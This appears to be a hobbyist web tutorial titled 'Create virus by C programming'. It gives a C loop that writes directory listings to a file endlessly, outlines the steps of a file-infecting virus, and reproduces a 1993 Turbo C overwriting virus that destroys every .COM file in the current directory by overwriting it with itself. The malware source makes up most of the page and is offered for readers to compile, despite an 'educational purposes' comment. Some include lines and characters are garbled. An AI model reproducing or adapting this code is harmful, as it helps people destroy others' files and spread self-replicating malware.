CREATE VIRUS BY C PROGRAMMING

WRITE IN YOUR C COMPILER

CODE
//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>â•ša.exe");
}
//END
}


At any rate, all of these viruses have some basic steps THIS IS LITTLE BIT TUFF...
Find a file to infect, be it an executable, source, or whatever (If none found, go to step 3)
Place virus in file.
Decide if any activation routines are met and, if so, activate.
Return to host or terminate and return to DOS.
For overwriting viruses, the implementation of these is quite simple. The only problem with these viruses is that they totally destroy any program that they infect, making them quite obvious. The only way to cure these is to find all of the infected files and delete them, restoring them from backups. The following virus is an extremely simple overwriting virus written in C. It will infect all .

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/* This is a simple overwriting virus programmed in Turbo C */
/* It will infect all .COM files in the current directory */
/* Infections destroy the programs and cannot be cured */
/* It was presented in Virology 101 (c) 1993 Black Wolf */
/* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */ #include
#include
#include FILE *Virus,*Host;
int x,y,done;
char buff[256];
struct ffblk ffblk; main()
{
done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
while (!done) /* Loop for all COM's in DIR*/
{
printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
Virus=fopen(_argv[0],"rb"); /* Open infected file */
Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */ x=9504; /* Virus size - must */
/* be correct for the */
/* compiler it is made */
/* on, otherwise the */
/* entire virus may not*/
/* be copied!! */
while (x>256) /* OVERWRITE new Host */
{ /* Read/Write 256 byte */
fread(buff,256,1,Virus); /* chunks until bytes */
fwrite(buff,256,1,Host); /* left < 256 */
x-=256;
}
fread(buff,x,1,Virus); /* Finish off copy */
fwrite(buff,x,1,Host);
fcloseall(); /* Close both files and*/
done = findnext(&ffblk); /* go for another one. */
}
/* Activation would go */
/* here */
return (0); /* Terminate */
}
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